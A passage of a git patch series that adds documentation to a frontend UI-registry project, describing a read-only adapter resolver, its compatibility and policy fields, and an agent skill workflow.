skills/wow-frontend/references/source-selection.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/skills/wow-frontend/references/source-selection.md b/skills/wow-frontend/references/source-selection.md index fc5e1d4..97c2cf4 100644 --- a/skills/wow-frontend/references/source-selection.md +++ b/skills/wow-frontend/references/source-selection.md @@ -20,6 +20,18 @@ node scripts/wow-frontend-plan.mjs skills/wow-frontend/examples/commerce-factory A plan is **read-only** and uses repository-pinned metadata; it does not crawl GitHub or produce code. Invalid source IDs, permissions, malformed configs and unknown fields must fail closed. Treat the result as a candidate list for further review, never as a tested compatibility guarantee. +## Adapter/stack resolver (#142) + +Use `ui-registry/wow-adapters.json` and `resolveWowAdapters()` in `ui-registry/wow-resolver.mjs` **after** verifying the source inventory, central policy and consumer config. The existing planning CLI includes an `adapterResolutions` section. + +- `technicalFit: native` means frameworks/styling appear compatible; `technicalFit: adapt` signals styling translation in the **current** framework; neither grants permission. +- `decision: reference-only` denies copying/installing even if the stack technically matches. +- `decision: unsupported` blocks a source under policy or invalid metadata. +- `interfaceKind` distinguishes component patterns, registry blocks, optional external tools and guidance. +- `runtime.hints` are **unverified possible per-component runtimes**, not mandatory packages. Reuse existing libraries when appropriate; never add duplicates or install automatically. + +The resolver does not invoke MagicPath, Figma, 21st.dev, any hosted plugin or any shell command. See `docs/wow-source-adapters.md` for exact contracts. + ## Distinguish status from technical fit - `blocked`: unknown, explicitly denied or policy invalid; do not use. From ef4c236823ae7f5bde29ff856ae42b7cf568f31b Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:04:15 +0100 Subject: [PATCH 10/10] docs(wow): integrate reviewed adapter decisions into existing skill instructions --- ui-registry/README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/ui-registry/README.md b/ui-registry/README.md index e8be840..63345d4 100644 --- a/ui-registry/README.md +++ b/ui-registry/README.md @@ -83,6 +83,12 @@ A reviewed approval must cite the exact upstream 40-character commit, pinned LIC Run `npm run test:ui-registry` for both contract and security checks. See [the security and provenance runbook](../docs/wow-reuse-security.md) before proposing any change to `wow-review-policy.json`. +## Source adapter compatibility (#142) + +The [adapter registry](wow-adapters.json) is a **metadata companion** to `wow-sources.json`, not another installable component registry. The [pure resolver](wow-resolver.mjs) joins the existing source inventory, review policy and consumer contract to report `native`, `adapt`, `reference-only` or `unsupported`, while keeping external service calls, installs and copy operations **disabled**. + +The [read-only planner](../scripts/wow-frontend-plan.mjs) now reports `adapterResolutions` for the selected sources. See [adapter documentation](../docs/wow-source-adapters.md). Runtimes such as Motion, GSAP and Three.js are only **possible dependency hints**, not package install instructions. + ## Agent workflow: WOW Frontend (#141) The portable [WOW Frontend SKILL.md](../skills/wow-frontend/SKILL.md) coordinates `audit → art direction → search before build → compose → intentional motion → render before done → provenance`. Its [README](../skills/wow-frontend/README.md) explains how to read or manually install the skill for a compatible agent.